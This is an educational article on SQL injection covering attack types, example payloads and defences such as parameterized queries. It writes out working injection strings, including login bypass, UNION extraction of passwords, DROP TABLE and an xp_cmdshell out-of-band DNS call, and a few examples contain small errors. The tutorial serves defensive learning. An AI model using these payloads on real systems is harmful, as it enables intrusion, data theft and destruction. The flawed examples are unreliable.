OWASP TOP10 : SQL Injection

 

What is SQL Injection?

SQL Injection (SQLi) is one of the most common and dangerous types of attacks against web applications. It occurs when an attacker manipulates an application's SQL queries by injecting malicious SQL code into input fields, URL parameters, or cookies. If an application does not properly validate or sanitize user input, it can allow attackers to modify the intended query, resulting in unauthorized access, data leaks, or even full control over the database.

In SQL injection attacks, the attacker inserts or manipulates SQL statements to achieve malicious results. This can include viewing or manipulating data, bypassing authentication, or even deleting the database.

How SQL Injection Works

When a user submits input, such as in a login form, the application typically constructs an SQL query to retrieve data from the database. If the input is not properly sanitized, the attacker can add malicious code to the query.

For example, in a login form, a query might look like this:

 

SELECT * FROM users WHERE username = 'input' AND password = 'input';


If an attacker submits the following input:
Username: ' OR '1'='1
Password: ' OR '1'='1
The resulting query would become:
 
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '' OR '1'='1';
 
This query always returns TRUE because 1='1' is always true, bypassing authentication and granting the attacker unauthorized access.
Types of SQL Injection
Classic SQL Injection
Involves injecting SQL code directly into input fields, causing the application to execute the malicious query.
Example:
Input: ' OR '1'='1
Query: SELECT * FROM users WHERE username = '' OR '1'='1'
Blind SQL Injection
The attacker does not receive any error messages or direct output, but they can infer information by observing changes in the behavior of the application.
Example:
Input: ' AND 1=1 --
If the response changes, the attacker knows the query executed successfully.
Input: ' AND 1=2 --
If there’s no change in the response, the attacker knows the query did not execute successfully.
Two types of Blind SQLi:
Boolean-based Blind SQLi: Involves altering the query to return true or false based on injected conditions.
Time-based Blind SQLi: Involves causing a delay in the response based on injected SQL functions, such as SLEEP.
Union-based SQL Injection
Allows the attacker to retrieve data from other tables in the database by using the UNION operator.
Example:
Input: ' UNION SELECT username, password FROM users --
This query would merge the results of the original query with the results from the users table, potentially revealing sensitive data like usernames and passwords.
Out-of-Band SQL Injection
Occurs when an attacker triggers a response that is sent to a different server, such as an email or DNS query, to exfiltrate data.
Example:
Input: '; EXEC xp_cmdshell('nslookup victim.com') --
This query attempts to run the xp_cmdshell stored procedure to send a DNS request to the attacker’s server, revealing information about the target.
Examples of SQL Injection
1. Authentication Bypass (Login Bypass)
A typical example is bypassing login authentication by injecting SQL code in the username or password fields.
Input: admin' OR '1'='1
SQL Query: SELECT * FROM users WHERE username = 'admin' AND password = 'OR '1'='1';
Result: Always returns TRUE, allowing unauthorized access.
2. Extracting Data from the Database
Attackers can extract data by manipulating SQL queries.
Input: ' UNION SELECT username, password FROM users --
SQL Query: SELECT * FROM products WHERE id = '' UNION SELECT username, password FROM users --
Result: This query combines product data with usernames and passwords, leaking sensitive information.
3. Deleting Data (Data Destruction)
An attacker can delete or modify sensitive data.
Input: '; DROP TABLE users --
SQL Query: SELECT * FROM products WHERE id = ''; DROP TABLE users --
Result: The users table is dropped from the database, causing significant data loss.
4. Fetching Database Version (Information Gathering)
By exploiting SQL injection, an attacker can retrieve version details about the database to tailor future attacks.
Input: ' UNION SELECT version() --
SQL Query: SELECT * FROM products WHERE id = '' UNION SELECT version() --
Result: Returns the version of the database being used, which can help the attacker identify known vulnerabilities in the database.
 
Preventing SQL Injection
Use Prepared Statements (Parameterized Queries)
Prepared statements ensure that user input is treated as data, not code. By using placeholders for input, SQL code is separate from user data.
Example in PHP (using PDO):
php 
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
$stmt->execute(['username' => $username, 'password' => $password]);
 
Stored Procedures
Stored procedures are precompiled SQL queries that can be executed with parameters. They separate code from data, preventing injection.
Example:.
 
SQL 
CREATE PROCEDURE getUser(IN user VARCHAR(255), IN pass VARCHAR(255))
BEGIN
  SELECT * FROM users WHERE username = user AND password = pass;
END
 
Input Validation and Sanitization
Validate user input to ensure it only contains expected data types (e.g., numbers, letters). Reject input that contains special characters like ', --, or ;.
Example:
Only allow numeric input for user age fields.
Use ORM (Object-Relational Mapping) Frameworks
ORM frameworks like Hibernate, Django ORM, or Entity Framework automatically handle parameterized queries, making it harder to introduce SQLi vulnerabilities.
Web Application Firewall (WAF)
Deploying a WAF can help block malicious SQL queries before they reach the application server, acting as an additional layer of defense.
Error Handling
Disable detailed database error messages to prevent attackers from obtaining useful information (like the database structure).
Use generic error messages instead, such as "An error occurred. Please try again later."
Principle of Least Privilege
Ensure that your application has the minimum level of access needed to function. This limits the damage an attacker can do if they exploit a vulnerability.
Regular Database Audits
Periodically review and audit the database schema, code, and query logs to ensure that no vulnerabilities are present.
Tools for Detecting SQL Injection Vulnerabilities
Burp Suite: A popular tool for testing web application security, including SQL injection vulnerabilities.
SQLmap: A tool specifically designed for detecting and exploiting SQL injection vulnerabilities in web applications.
OWASP ZAP: An open-source security tool that helps find vulnerabilities in web applications, including SQL injection.
Acunetix: A website vulnerability scanner that automatically detects SQL injection and other vulnerabilities.
Conclusion
SQL Injection is a critical security vulnerability that can lead to severe consequences if not mitigated properly. By following best practices such as using prepared statements, input validation, and implementing the principle of least privilege, you can significantly reduce the risk of SQL injection attacks.
Always remember to test your applications for potential SQL injection vulnerabilities and to deploy tools like web application firewalls (WAFs) as an extra layer of defense. With the proper controls in place, your application will be far more secure against SQL injection attacks.